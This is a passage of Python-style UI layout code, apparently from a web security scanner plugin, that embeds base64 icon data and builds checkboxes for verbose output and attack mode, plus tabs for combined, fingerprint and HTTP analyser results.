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') + verbose_output_cb = ModCheckBox() + verbose_output_cb.Name = 'verbose_output_cb' + verbose_output_cb.Size = ModUiTools.GetSizeDefinition(153,24) + verbose_output_cb.Location = ModUiTools.GetLocationDefinition(155,58) + verbose_output_cb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + verbose_output_cb.Dock = ModUiTools.GetDockStyleDefinition('None') + verbose_output_cb.Enabled = True + verbose_output_cb.BackColor = ModUiTools.GetColorDefinition(-986896) + verbose_output_cb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + verbose_output_cb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + verbose_output_cb.Text = Tools.Base64Decode('UHJvdmlkZSBWZXJib3NlIFJlc3VsdHM=') + verbose_output_cb.Checked = False + ui.Controls.Add(verbose_output_cb) + ui.ModControls['verbose_output_cb'] = verbose_output_cb + perform_attack_cb = ModCheckBox() + perform_attack_cb.Name = 'perform_attack_cb' + perform_attack_cb.Size = ModUiTools.GetSizeDefinition(104,24) + perform_attack_cb.Location = ModUiTools.GetLocationDefinition(17,58) + perform_attack_cb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + perform_attack_cb.Dock = ModUiTools.GetDockStyleDefinition('None') + perform_attack_cb.Enabled = True + perform_attack_cb.BackColor = ModUiTools.GetColorDefinition(-986896) + perform_attack_cb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + perform_attack_cb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + perform_attack_cb.Text = Tools.Base64Decode('UGVyZm9ybSBBdHRhY2tz') + perform_attack_cb.Checked = False + ui.Controls.Add(perform_attack_cb) + ui.ModControls['perform_attack_cb'] = perform_attack_cb + mod_tab_control_2 = ModTabControl() + mod_tab_control_2.Name = 'mod_tab_control_2' + mod_tab_control_2.Size = ModUiTools.GetSizeDefinition(780,471) + mod_tab_control_2.Location = ModUiTools.GetLocationDefinition(2,88) + mod_tab_control_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + mod_tab_control_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_tab_control_2.Enabled = True + mod_tab_control_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_tab_control_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_tab_control_2.TabPages.Add('tab_page_2', ' Combined Results ') + combined_out_tb = ModTextBox() + combined_out_tb.Name = 'combined_out_tb' + combined_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + combined_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + combined_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + combined_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + combined_out_tb.Enabled = True + combined_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + combined_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + combined_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + combined_out_tb.ReadOnly = True + combined_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + combined_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + combined_out_tb.Multiline = True + combined_out_tb.WordWrap = True + combined_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_2'].Controls.Add(combined_out_tb) + ui.ModControls['combined_out_tb'] = combined_out_tb + mod_tab_control_2.TabPages.Add('tab_page_4', ' FingerPrint Results ') + fingerprint_out_tb = ModTextBox() + fingerprint_out_tb.Name = 'fingerprint_out_tb' + fingerprint_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + fingerprint_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + fingerprint_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + fingerprint_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + fingerprint_out_tb.Enabled = True + fingerprint_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + fingerprint_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + fingerprint_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + fingerprint_out_tb.ReadOnly = True + fingerprint_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + fingerprint_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + fingerprint_out_tb.Multiline = True + fingerprint_out_tb.WordWrap = True + fingerprint_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_tab_control_2.TabPages['tab_page_4'].Controls.Add(fingerprint_out_tb) + ui.ModControls['fingerprint_out_tb'] = fingerprint_out_tb + mod_tab_control_2.TabPages.Add('tab_page_5', ' HTTP Analyser Results ') + http_analyzer_out_tb = ModTextBox() + http_analyzer_out_tb.Name = 'http_analyzer_out_tb' + http_analyzer_out_tb.Size = ModUiTools.GetSizeDefinition(772,445) + http_analyzer_out_tb.Location = ModUiTools.GetLocationDefinition(0,0) + http_analyzer_out_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + http_analyzer_out_tb.Dock = ModUiTools.GetDockStyleDefinition('Fill') + http_analyzer_out_tb.Enabled = True + http_analyzer_out_tb.BackColor = ModUiTools.GetColorDefinition(-1) + http_analyzer_out_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + http_analyzer_out_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + http_analyzer_out_tb.ReadOnly = True + http_analyzer_out_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Both') + http_analyzer_out_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + http_analyzer_out_tb.Multiline = True + http_analyzer_out_tb.WordWrap = True + http_analyzer_out_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + 